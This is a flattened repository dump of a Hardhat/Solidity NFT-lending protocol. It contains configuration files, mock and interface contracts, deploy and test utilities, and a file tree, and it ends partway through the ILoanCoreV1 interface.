├── .husky ├── .gitignore └── commit-msg ├── .nvmrc ├── .gitattributes ├── .npmrc ├── .czrc ├── tasks ├── task-names.ts ├── accounts.ts └── clean.ts ├── .commitlintrc.js ├── .huskyrc ├── .solhintignore ├── audits ├── V1_Lending_Macro_2022-04.pdf ├── V2_Lending_Roku_2022_06.pdf ├── V2_Lending_Quantstamp_2022_06.pdf └── V1_Lending_LeastAuthority_2021-08.pdf ├── contracts ├── test │ ├── Imports.sol │ ├── MockOpenVault.sol │ ├── LoanCoreV2Mock.sol │ ├── VaultFactoryV2.sol │ ├── Templates.sol │ ├── MockOriginationController.sol │ ├── MockCallDelegator.sol │ ├── MockERC1271Lender.sol │ ├── UserProxy.sol │ ├── MockERC20.sol │ ├── ERC721ReceiverMock.sol │ ├── MockERC1155.sol │ ├── WrappedPunks.sol │ └── MockERC721.sol ├── interfaces │ ├── ICallDelegator.sol │ ├── IInstallmentsCalc.sol │ ├── ISignatureVerifier.sol │ ├── IPromissoryNote.sol │ ├── IVaultFactory.sol │ ├── IERC721Permit.sol │ ├── ICallWhitelist.sol │ ├── IERC721PermitUpgradeable.sol │ ├── IRepaymentController.sol │ ├── IFeeController.sol │ ├── IVaultDepositRouter.sol │ ├── IAssetVault.sol │ ├── ILoanCore.sol │ ├── IFlashRollover.sol │ ├── IVaultInventoryReporter.sol │ ├── IFlashRolloverBalancer.sol │ └── IOriginationController.sol ├── external │ └── interfaces │ │ └── IPunks.sol ├── v1 │ ├── IAssetWrapperV1.sol │ ├── ILoanCoreV1.sol │ └── LoanLibraryV1.sol ├── errors │ ├── LendingUtils.sol │ └── Vault.sol ├── vault │ ├── OwnableERC721.sol │ ├── CallWhitelistApprovals.sol │ ├── VaultOwnershipChecker.sol │ └── CallWhitelist.sol ├── verifiers │ ├── PunksVerifier.sol │ └── ItemsVerifier.sol ├── FeeController.sol ├── libraries │ └── LoanLibrary.sol └── ERC721Permit.sol ├── .mocharc.json ├── types ├── index.ts └── augmentations.d.ts ├── .eslintignore ├── .prettierignore ├── .env.example ├── .editorconfig ├── .prettierrc ├── scripts ├── utils │ ├── constants.ts │ ├── tokens.ts │ ├── vault.ts │ ├── nfts.ts │ ├── deploy-assets.ts │ └── mint-distribute-assets.ts ├── deploy │ ├── deploy-cryptopunks.ts │ ├── deploy-items-verifier.ts │ ├── deploy-single-contract.ts │ ├── deploy-punks-verifier.ts │ ├── deploy-flash-rollover.ts │ ├── deploy-vault-upgrade-rollover.ts │ ├── verify-contracts.ts │ ├── deploy-inventory-reporter.ts │ ├── create-self-loan.ts │ ├── write-json.ts │ ├── deploy-staking-vaults.ts │ └── deploy.ts ├── generate-rollover-calldata.ts ├── bootstrap-state-no-loans.ts ├── bootstrap-state-with-loans.ts ├── check-nft-ownership.ts └── test-v1-v2-rollover.ts ├── .gitignore ├── test ├── utils │ ├── time.ts │ ├── contracts.ts │ ├── types.ts │ ├── erc1155.ts │ ├── erc20.ts │ ├── erc721.ts │ └── loans.ts └── CallWhitelistApprovals.ts ├── .eslintrc.yaml ├── .solhint.json ├── .solcover.js ├── tsconfig.json ├── .github └── workflows │ └── test.yml ├── LICENSE ├── rollover_payload.json ├── .deployments ├── ropsten │ ├── ropsten-1655484481.json │ ├── ropsten-1655508568.json │ ├── ropsten-1655513426.json │ ├── ropsten-1656377188.json │ ├── ropsten-1656377473.json │ ├── ropsten-1656378124.json │ ├── ropsten-1658509923.json │ ├── ropsten-1658705799.json │ └── ropsten-1658706567.json ├── rinkeby │ └── rinkeby-1660709165.json ├── goerli │ └── goerli-1663032134.json └── mainnet │ └── mainnet-1656441045.json ├── package.json └── hardhat.config.ts /.husky/.gitignore: -------------------------------------------------------------------------------- 1 | _ 2 | -------------------------------------------------------------------------------- /.nvmrc: -------------------------------------------------------------------------------- 1 | v16.14.0 2 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | *.sol linguist-language=Solidity -------------------------------------------------------------------------------- /.npmrc: -------------------------------------------------------------------------------- 1 | @arcadexyz:registry=https://npm.pkg.github.com 2 | -------------------------------------------------------------------------------- /.czrc: -------------------------------------------------------------------------------- 1 | { 2 | "path": "cz-conventional-changelog" 3 | } 4 | -------------------------------------------------------------------------------- /tasks/task-names.ts: -------------------------------------------------------------------------------- 1 | export const TASK_ACCOUNTS: string = "accounts"; 2 | -------------------------------------------------------------------------------- /.commitlintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | extends: ["@commitlint/config-conventional"], 3 | }; 4 | -------------------------------------------------------------------------------- /.husky/commit-msg: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | . "$(dirname "$0")/_/husky.sh" 3 | 4 | npx commitlint --edit 5 | -------------------------------------------------------------------------------- /.huskyrc: -------------------------------------------------------------------------------- 1 | { 2 | "hooks": { 3 | "commit-msg": "commitlint -E HUSKY_GIT_PARAMS" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /.solhintignore: -------------------------------------------------------------------------------- 1 | # folders 2 | .yarn/ 3 | build/ 4 | dist/ 5 | node_modules/ 6 | contracts/test/CryptoPunks.sol 7 | -------------------------------------------------------------------------------- /audits/V1_Lending_Macro_2022-04.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/arcadexyz/v2-contracts/HEAD/audits/V1_Lending_Macro_2022-04.pdf -------------------------------------------------------------------------------- /audits/V2_Lending_Roku_2022_06.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/arcadexyz/v2-contracts/HEAD/audits/V2_Lending_Roku_2022_06.pdf -------------------------------------------------------------------------------- /audits/V2_Lending_Quantstamp_2022_06.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/arcadexyz/v2-contracts/HEAD/audits/V2_Lending_Quantstamp_2022_06.pdf -------------------------------------------------------------------------------- /audits/V1_Lending_LeastAuthority_2021-08.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/arcadexyz/v2-contracts/HEAD/audits/V1_Lending_LeastAuthority_2021-08.pdf -------------------------------------------------------------------------------- /contracts/test/Imports.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; -------------------------------------------------------------------------------- /.mocharc.json: -------------------------------------------------------------------------------- 1 | { 2 | "extension": ["ts"], 3 | "recursive": "test", 4 | "ignore": "test/deploy/*", 5 | "require": ["hardhat/register"], 6 | "timeout": 20000 7 | } 8 | -------------------------------------------------------------------------------- /types/index.ts: -------------------------------------------------------------------------------- 1 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/dist/src/signer-with-address"; 2 | 3 | export interface Signers { 4 | admin: SignerWithAddress; 5 | } 6 | -------------------------------------------------------------------------------- /.eslintignore: -------------------------------------------------------------------------------- 1 | # folders 2 | artifacts/ 3 | build/ 4 | cache/ 5 | coverage/ 6 | dist/ 7 | lib/ 8 | node_modules/ 9 | typechain/ 10 | 11 | # files 12 | .solcover.js 13 | coverage.json 14 | -------------------------------------------------------------------------------- /.prettierignore: -------------------------------------------------------------------------------- 1 | # folders 2 | artifacts/ 3 | build/ 4 | cache/ 5 | coverage/ 6 | dist/ 7 | lib/ 8 | node_modules/ 9 | typechain/ 10 | .openzeppelin/ 11 | .deployments/ 12 | 13 | # files 14 | coverage.json 15 | -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- 1 | MNEMONIC=here is where your twelve words mnemonic should be put my friend 2 | ADMIN=0x0000000000000000000000000000000000000000 3 | FORK_MAINNET=false 4 | ALCHEMY_API_KEY= 5 | ETHERSCAN_API_KEY= 6 | -------------------------------------------------------------------------------- /contracts/test/MockOpenVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | contract MockOpenVault { 6 | function withdrawEnabled() external pure returns (bool) { 7 | return false; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /contracts/interfaces/ICallDelegator.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface ICallDelegator { 6 | // ============== View Functions ============== 7 | 8 | function canCallOn(address caller, address vault) external view returns (bool); 9 | } 10 | -------------------------------------------------------------------------------- /contracts/test/LoanCoreV2Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../LoanCore.sol"; 6 | 7 | contract LoanCoreV2Mock is LoanCore { 8 | function version() public pure returns (string memory) { 9 | return "This is LoanCore V2!"; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /contracts/interfaces/IInstallmentsCalc.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface IInstallmentsCalc { 6 | // ================ View Functions ================ 7 | 8 | function getFullInterestAmount(uint256 principal, uint256 interestRate) external returns (uint256); 9 | } 10 | -------------------------------------------------------------------------------- /contracts/test/VaultFactoryV2.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../vault/VaultFactory.sol"; 6 | 7 | contract VaultFactoryV2 is VaultFactory { 8 | function version() public pure returns (string memory) { 9 | return "This is VaultFactory V2!"; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # EditorConfig http://EditorConfig.org 2 | 3 | # top-most EditorConfig file 4 | root = true 5 | 6 | # All files 7 | [*] 8 | charset = utf-8 9 | end_of_line = lf 10 | indent_size = 2 11 | indent_style = space 12 | insert_final_newline = true 13 | trim_trailing_whitespace = true 14 | 15 | [*.sol] 16 | indent_size = 4 17 | -------------------------------------------------------------------------------- /contracts/test/Templates.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; 6 | import "@openzeppelin/contracts/token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol"; 7 | import "@openzeppelin/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol"; 8 | -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "arrowParens": "avoid", 3 | "bracketSpacing": true, 4 | "endOfLine":"auto", 5 | "printWidth": 120, 6 | "singleQuote": false, 7 | "tabWidth": 2, 8 | "trailingComma": "all", 9 | "overrides": [ 10 | { 11 | "files": "*.{sol,ts,json}", 12 | "options": { 13 | "tabWidth": 4 14 | } 15 | } 16 | ] 17 | } 18 | -------------------------------------------------------------------------------- /tasks/accounts.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | 3 | import { TASK_ACCOUNTS } from "./task-names"; 4 | 5 | task(TASK_ACCOUNTS, "Prints the list of accounts", async (_taskArgs, hre) => { 6 | const accounts = await hre.ethers.getSigners(); 7 | 8 | for (const account of accounts) { 9 | console.log(await account.getAddress()); 10 | } 11 | }); 12 | -------------------------------------------------------------------------------- /contracts/interfaces/ISignatureVerifier.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../libraries/LoanLibrary.sol"; 6 | 7 | interface ISignatureVerifier { 8 | // ============== Collateral Verification ============== 9 | 10 | function verifyPredicates(bytes calldata predicates, address vault) external view returns (bool); 11 | } 12 | -------------------------------------------------------------------------------- /types/augmentations.d.ts: -------------------------------------------------------------------------------- 1 | // eslint-disable @typescript-eslint/no-explicit-any 2 | import { Fixture } from "ethereum-waffle"; 3 | 4 | import { Signers } from "./"; 5 | import { Greeter } from "../typechain"; 6 | 7 | declare module "mocha" { 8 | export interface Context { 9 | greeter: Greeter; 10 | loadFixture: (fixture: Fixture) => Promise; 11 | signers: Signers; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /scripts/utils/constants.ts: -------------------------------------------------------------------------------- 1 | export const ORIGINATOR_ROLE = "0x59abfac6520ec36a6556b2a4dd949cc40007459bcd5cd2507f1e5cc77b6bc97e"; 2 | export const REPAYER_ROLE = "0x9c60024347074fd9de2c1e36003080d22dbc76a41ef87444d21e361bcb39118e"; 3 | export const ADMIN_ROLE = "0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775"; 4 | export const FEE_CLAIMER_ROLE = "0x8dd046eb6fe22791cf064df41dbfc76ef240a563550f519aac88255bd8c2d3bb"; 5 | -------------------------------------------------------------------------------- /contracts/external/interfaces/IPunks.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface IPunks { 6 | function balanceOf(address owner) external view returns (uint256); 7 | 8 | function punkIndexToAddress(uint256 punkIndex) external view returns (address owner); 9 | 10 | function buyPunk(uint256 punkIndex) external; 11 | 12 | function transferPunk(address to, uint256 punkIndex) external; 13 | } 14 | -------------------------------------------------------------------------------- /tasks/clean.ts: -------------------------------------------------------------------------------- 1 | import fsExtra from "fs-extra"; 2 | import { TASK_CLEAN } from "hardhat/builtin-tasks/task-names"; 3 | import { task } from "hardhat/config"; 4 | 5 | task(TASK_CLEAN, "Overrides the standard clean task", async function (_taskArgs, { config }, runSuper) { 6 | await fsExtra.remove("./coverage"); 7 | await fsExtra.remove("./coverage.json"); 8 | if (config.typechain?.outDir) { 9 | await fsExtra.remove(config.typechain.outDir); 10 | } 11 | await runSuper(); 12 | }); 13 | -------------------------------------------------------------------------------- /contracts/test/MockOriginationController.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../OriginationController.sol"; 6 | 7 | contract MockOriginationController is OriginationController { 8 | function version() public pure returns (string memory) { 9 | return "This is OriginationController V2!"; 10 | } 11 | 12 | function isApproved(address owner, address signer) public pure override returns (bool) { 13 | return owner != signer; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # folders 2 | .coverage_artifacts/ 3 | .coverage_cache/ 4 | .coverage_contracts/ 5 | artifacts/ 6 | build/ 7 | cache/ 8 | coverage/ 9 | dist/ 10 | lib/ 11 | node_modules/ 12 | typechain/ 13 | 14 | # OpenZeppelin 15 | .openzeppelin/unknown-*.json 16 | 17 | #deployments 18 | .deployments/hardhat 19 | 20 | # files 21 | *.env 22 | *.log 23 | *.tsbuildinfo 24 | coverage.json 25 | npm-debug.log* 26 | yarn-debug.log* 27 | yarn-error.log* 28 | .DS_Store 29 | .vscode 30 | 31 | gas_report.log 32 | .env 33 | cargs.js 34 | -------------------------------------------------------------------------------- /test/utils/time.ts: -------------------------------------------------------------------------------- 1 | import hre from "hardhat"; 2 | 3 | export class BlockchainTime { 4 | async secondsFromNow(secondsFromNow: number): Promise { 5 | const res = await hre.network.provider.send("eth_getBlockByNumber", ["latest", false]); 6 | const timestamp = parseInt(res.timestamp, 16); 7 | return timestamp + secondsFromNow; 8 | } 9 | 10 | async increaseTime(seconds: number): Promise { 11 | await hre.network.provider.send("evm_increaseTime", [seconds]); 12 | await hre.network.provider.send("evm_mine"); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /contracts/test/MockCallDelegator.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../interfaces/ICallDelegator.sol"; 6 | 7 | contract MockCallDelegator is ICallDelegator { 8 | bool private canCall; 9 | 10 | /** 11 | * @inheritdoc ICallDelegator 12 | */ 13 | function canCallOn(address caller, address vault) external view override returns (bool) { 14 | require(caller != vault, "Invalid vault"); 15 | return canCall; 16 | } 17 | 18 | function setCanCall(bool _canCall) external { 19 | canCall = _canCall; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /contracts/interfaces/IPromissoryNote.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; 6 | 7 | interface IPromissoryNote is IERC721Enumerable { 8 | // ============== Token Operations ============== 9 | 10 | function mint(address to, uint256 loanId) external returns (uint256); 11 | 12 | function burn(uint256 tokenId) external; 13 | 14 | function setPaused(bool paused) external; 15 | 16 | // ============== Initializer ============== 17 | 18 | function initialize(address loanCore) external; 19 | } 20 | -------------------------------------------------------------------------------- /.eslintrc.yaml: -------------------------------------------------------------------------------- 1 | extends: 2 | - eslint:recommended 3 | - plugin:@typescript-eslint/eslint-recommended 4 | - plugin:@typescript-eslint/recommended 5 | - prettier/@typescript-eslint 6 | parser: "@typescript-eslint/parser" 7 | parserOptions: 8 | project: tsconfig.json 9 | plugins: 10 | - "@typescript-eslint" 11 | root: true 12 | rules: 13 | "@typescript-eslint/no-floating-promises": 14 | - error 15 | - ignoreIIFE: true 16 | ignoreVoid: true 17 | "@typescript-eslint/no-inferrable-types": "off" 18 | "@typescript-eslint/no-unused-vars": 19 | - error 20 | - argsIgnorePattern: _ 21 | varsIgnorePattern: _ 22 | -------------------------------------------------------------------------------- /test/utils/contracts.ts: -------------------------------------------------------------------------------- 1 | import hre from "hardhat"; 2 | import { Artifact } from "hardhat/types"; 3 | import { Contract, Signer } from "ethers"; 4 | 5 | const { deployContract } = hre.waffle; 6 | 7 | /** 8 | * Deploy a contract with the given artifact name 9 | * Will be deployed by the given deployer address with the given params 10 | */ 11 | // eslint-disable-next-line @typescript-eslint/no-explicit-any 12 | export async function deploy(contractName: string, deployer: Signer, params: any[]): Promise { 13 | const artifact: Artifact = await hre.artifacts.readArtifact(contractName); 14 | return await deployContract(deployer, artifact, params); 15 | } 16 | -------------------------------------------------------------------------------- /contracts/test/MockERC1271Lender.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | import "@openzeppelin/contracts/interfaces/IERC1271.sol"; 7 | 8 | import "../interfaces/IOriginationController.sol"; 9 | 10 | contract ERC1271LenderMock is IERC1271 { 11 | bytes4 internal constant MAGICVALUE = 0x1626ba7e; 12 | 13 | function approve(address token, address target) external { 14 | IERC20(token).approve(target, type(uint256).max); 15 | } 16 | 17 | function isValidSignature(bytes32, bytes memory) public pure override returns (bytes4 magicValue) { 18 | return MAGICVALUE; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /.solhint.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "solhint:recommended", 3 | "plugins": ["prettier"], 4 | "rules": { 5 | "code-complexity": ["error", 7], 6 | "compiler-version": ["error", "^0.8.0"], 7 | "const-name-snakecase": "off", 8 | "constructor-syntax": "error", 9 | "func-visibility": ["error", { "ignoreConstructors": true }], 10 | "max-line-length": ["error", 120], 11 | "not-rely-on-time": "off", 12 | "no-empty-blocks": "off", 13 | "prettier/prettier": [ 14 | "error", 15 | { 16 | "endOfLine": "auto" 17 | } 18 | ], 19 | "reason-string": ["warn", { "maxLength": 64 }] 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /.solcover.js: -------------------------------------------------------------------------------- 1 | const shell = require("shelljs"); 2 | 3 | // The environment variables are loaded in hardhat.config.ts 4 | let mnemonic = process.env.MNEMONIC; 5 | if (!mnemonic) { 6 | mnemonic = "testtesttesttest"; 7 | } 8 | 9 | module.exports = { 10 | istanbulReporter: ["html", "lcov"], 11 | onCompileComplete: async function (_config) { 12 | await run("typechain"); 13 | }, 14 | onIstanbulComplete: async function (_config) { 15 | // We need to do this because solcover generates bespoke artifacts. 16 | shell.rm("-rf", "./artifacts"); 17 | shell.rm("-rf", "./typechain"); 18 | }, 19 | providerOptions: { 20 | mnemonic, 21 | }, 22 | skipFiles: ["mocks", "test", "external"], 23 | configureYulOptimizer: true, 24 | }; 25 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "esModuleInterop": true, 4 | "forceConsistentCasingInFileNames": true, 5 | "lib": ["es5", "es6"], 6 | "module": "commonjs", 7 | "moduleResolution": "node", 8 | "noImplicitAny": true, 9 | "outDir": "dist", 10 | "resolveJsonModule": true, 11 | "sourceMap": true, 12 | "strict": true, 13 | "target": "es5" 14 | }, 15 | "exclude": ["node_modules"], 16 | "include": [ 17 | "artifacts/**/*", 18 | "artifacts/**/*.json", 19 | "scripts/**/*", 20 | "tasks/**/*", 21 | "test/**/*", 22 | "typechain/**/*", 23 | "types/**/*", 24 | "hardhat.config.ts" 25 | ] 26 | } 27 | -------------------------------------------------------------------------------- /contracts/interfaces/IVaultFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface IVaultFactory { 6 | // ============= Events ============== 7 | 8 | event VaultCreated(address vault, address to); 9 | 10 | // ================ View Functions ================ 11 | 12 | function isInstance(address instance) external view returns (bool validity); 13 | 14 | function instanceCount() external view returns (uint256); 15 | 16 | function instanceAt(uint256 tokenId) external view returns (address); 17 | 18 | function instanceAtIndex(uint256 index) external view returns (address); 19 | 20 | // ================ Factory Operations ================ 21 | 22 | function initializeBundle(address to) external returns (uint256); 23 | } 24 | -------------------------------------------------------------------------------- /scripts/utils/tokens.ts: -------------------------------------------------------------------------------- 1 | import { ethers } from "hardhat"; 2 | import { Contract } from "ethers"; 3 | 4 | import { MockERC20 } from "../../typechain"; 5 | 6 | export async function getBalance(asset: Contract, addr: string): Promise { 7 | return (await asset.balanceOf(addr)).toString(); 8 | } 9 | 10 | export async function mintTokens( 11 | target: any, 12 | [wethAmount, pawnAmount, usdAmount]: [number, number, number], 13 | weth: MockERC20, 14 | pawnToken: MockERC20, 15 | usd: MockERC20, 16 | ): Promise { 17 | await weth.mint(target, ethers.utils.parseEther(wethAmount.toString())); 18 | await pawnToken.mint(target, ethers.utils.parseEther(pawnAmount.toString())); 19 | await usd.mint(target, ethers.utils.parseUnits(usdAmount.toString(), 6)); 20 | } 21 | -------------------------------------------------------------------------------- /contracts/interfaces/IERC721Permit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; 6 | 7 | interface IERC721Permit is IERC721 { 8 | // ================ Permit Functionality ================ 9 | 10 | function permit( 11 | address owner, 12 | address spender, 13 | uint256 tokenId, 14 | uint256 deadline, 15 | uint8 v, 16 | bytes32 r, 17 | bytes32 s 18 | ) external; 19 | 20 | // ================ View Functions ================ 21 | 22 | function nonces(address owner) external view returns (uint256); 23 | 24 | // solhint-disable-next-line func-name-mixedcase 25 | function DOMAIN_SEPARATOR() external view returns (bytes32); 26 | } 27 | -------------------------------------------------------------------------------- /contracts/interfaces/ICallWhitelist.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface ICallWhitelist { 6 | // ============= Events ============== 7 | 8 | event CallAdded(address operator, address callee, bytes4 selector); 9 | event CallRemoved(address operator, address callee, bytes4 selector); 10 | 11 | // ================ View Functions ================ 12 | 13 | function isWhitelisted(address callee, bytes4 selector) external view returns (bool); 14 | 15 | function isBlacklisted(bytes4 selector) external view returns (bool); 16 | 17 | // ================ Update Operations ================ 18 | 19 | function add(address callee, bytes4 selector) external; 20 | 21 | function remove(address callee, bytes4 selector) external; 22 | } 23 | -------------------------------------------------------------------------------- /contracts/test/UserProxy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | contract UserProxy { 6 | address private _owner; 7 | 8 | /** 9 | * @dev Initializes the contract settings 10 | */ 11 | constructor() { 12 | _owner = msg.sender; 13 | } 14 | 15 | /** 16 | * @dev Transfers punk to the smart contract owner 17 | */ 18 | function transfer(address punkContract, uint256 punkIndex) external returns (bool) { 19 | if (_owner != msg.sender) { 20 | return false; 21 | } 22 | 23 | // solhint-disable-next-line avoid-low-level-calls 24 | (bool result, ) = punkContract.call( 25 | abi.encodeWithSignature("transferPunk(address,uint256)", _owner, punkIndex) 26 | ); 27 | 28 | return result; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /contracts/interfaces/IERC721PermitUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; 6 | 7 | interface IERC721PermitUpgradeable is IERC721Upgradeable { 8 | // ================ Permit Functionality ================ 9 | 10 | function permit( 11 | address owner, 12 | address spender, 13 | uint256 tokenId, 14 | uint256 deadline, 15 | uint8 v, 16 | bytes32 r, 17 | bytes32 s 18 | ) external; 19 | 20 | // ================ View Functions ================ 21 | 22 | function nonces(address owner) external view returns (uint256); 23 | 24 | // solhint-disable-next-line func-name-mixedcase 25 | function DOMAIN_SEPARATOR() external view returns (bytes32); 26 | } 27 | -------------------------------------------------------------------------------- /contracts/v1/IAssetWrapperV1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | /** 6 | * @dev Interface for the AssetWrapper contract. Only needed 7 | * functions for rollover copied from V1. 8 | */ 9 | interface IAssetWrapper { 10 | function bundleERC721Holdings(uint256 bundleId, uint256 idx) external returns (address, uint256); 11 | 12 | function bundleERC1155Holdings(uint256 bundleId, uint256 idx) external returns (address, uint256, uint256); 13 | 14 | /** 15 | * @dev Withdraw all assets in the given bundle, returning them to the msg.sender 16 | * 17 | * Requirements: 18 | * 19 | * - The bundle with id `bundleId` must have been initialized with {initializeBundle} 20 | * - The bundle with id `bundleId` must be owned by or approved to msg.sender 21 | */ 22 | function withdraw(uint256 bundleId) external; 23 | } -------------------------------------------------------------------------------- /contracts/interfaces/IRepaymentController.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface IRepaymentController { 6 | // ============== Lifeycle Operations ============== 7 | 8 | function repay(uint256 loanId) external; 9 | 10 | function claim(uint256 loanId) external; 11 | 12 | function repayPartMinimum(uint256 loanId) external; 13 | 14 | function repayPart(uint256 loanId, uint256 amount) external; 15 | 16 | function closeLoan(uint256 loanId) external; 17 | 18 | // ============== View Functions ============== 19 | 20 | function getInstallmentMinPayment(uint256 loanId) 21 | external 22 | view 23 | returns ( 24 | uint256, 25 | uint256, 26 | uint256 27 | ); 28 | 29 | function amountToCloseLoan(uint256 loanId) external returns (uint256, uint256); 30 | } 31 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: build 2 | 3 | on: 4 | push: 5 | branches: [main] 6 | pull_request: 7 | branches: [main] 8 | 9 | jobs: 10 | build: 11 | 12 | runs-on: ubuntu-latest 13 | 14 | steps: 15 | - name: Setup Repo 16 | uses: actions/checkout@v2 17 | 18 | - name: Uses node.js 16 19 | uses: actions/setup-node@v1 20 | with: 21 | node-version: 16.14.0 22 | 23 | - name: Install 24 | run: yarn install --frozen-lockfile 25 | 26 | # - name: Lint 27 | # run: yarn lint 28 | 29 | - name: Compile 30 | run: yarn compile 31 | 32 | - name: Generate Typechain 33 | run: yarn typechain 34 | 35 | - name: Test 36 | env: 37 | ALCHEMY_API_KEY: ${{ secrets.ALCHEMY_API_KEY }} 38 | run: yarn test 39 | 40 | # - name: Coverage 41 | # env: 42 | # ALCHEMY_API_KEY: ${{ secrets.ALCHEMY_API_KEY }} 43 | # run: yarn coverage 44 | -------------------------------------------------------------------------------- /scripts/utils/vault.ts: -------------------------------------------------------------------------------- 1 | import hre from "hardhat"; 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/dist/src/signer-with-address"; 3 | 4 | import { VaultFactory, AssetVault } from "../../typechain"; 5 | 6 | type Signer = SignerWithAddress; 7 | 8 | let vault: AssetVault | undefined; 9 | export const createVault = async (factory: VaultFactory, user: Signer): Promise => { 10 | const tx = await factory.connect(user).initializeBundle(await user.getAddress()); 11 | const receipt = await tx.wait(); 12 | 13 | if (receipt && receipt.events) { 14 | for (const event of receipt.events) { 15 | if (event.args && event.args.vault) { 16 | vault = await hre.ethers.getContractAt("AssetVault", event.args.vault); 17 | } 18 | } 19 | } else { 20 | throw new Error("Unable to create new vault"); 21 | } 22 | if (!vault) { 23 | throw new Error("Unable to create new vault"); 24 | } 25 | return vault; 26 | }; 27 | -------------------------------------------------------------------------------- /contracts/v1/ILoanCoreV1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; 6 | 7 | import "./LoanLibraryV1.sol"; 8 | 9 | import "../interfaces/IPromissoryNote.sol"; 10 | import "./IAssetWrapperV1.sol"; 11 | import "../interfaces/IFeeController.sol"; 12 | 13 | /** 14 | * @dev Interface for the LoanCore contract. Only needed 15 | * functions for rollover copied from V1. 16 | */ 17 | interface ILoanCoreV1 { 18 | /** 19 | * @dev Get LoanData by loanId 20 | */ 21 | function getLoan(uint256 loanId) external view returns (LoanLibraryV1.LoanData calldata loanData); 22 | 23 | /** 24 | * @dev Getters for integrated contracts 25 | * 26 | */ 27 | function borrowerNote() external returns (IPromissoryNote); 28 | 29 | function lenderNote() external returns 